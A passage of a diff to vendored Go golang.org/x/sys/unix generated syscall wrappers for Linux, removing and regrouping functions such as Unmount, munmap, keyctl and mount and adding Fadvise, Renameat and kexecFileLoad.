-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_PWAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,125 +62,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_PWAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1571,7 +128,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1579,7 +136,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1587,7 +144,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1605,7 +162,7 @@ func Getrlimit(resource int, rlim *Rlimit) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1656,9 +213,18 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Seek(fd int, offset int64, whence int) (off int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-- off = int64(r0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1667,9 +233,9 @@ func Seek(fd int, offset int64, whence int) (off int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PSELECT6, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-- n = int(r0)
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ off = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1689,8 +255,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1699,8 +266,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2020,8 +588,13 @@ func Gettimeofday(tv *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips.go
-index 9f194dc4..aecbbca7 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_mips.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_mips.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -b32 -arm -tags linux,mips syscall_linux.go syscall_linux_mipsx.go
-+// go run mksyscall.go -b32 -arm -tags linux,mips syscall_linux.go syscall_linux_mipsx.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,mips
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
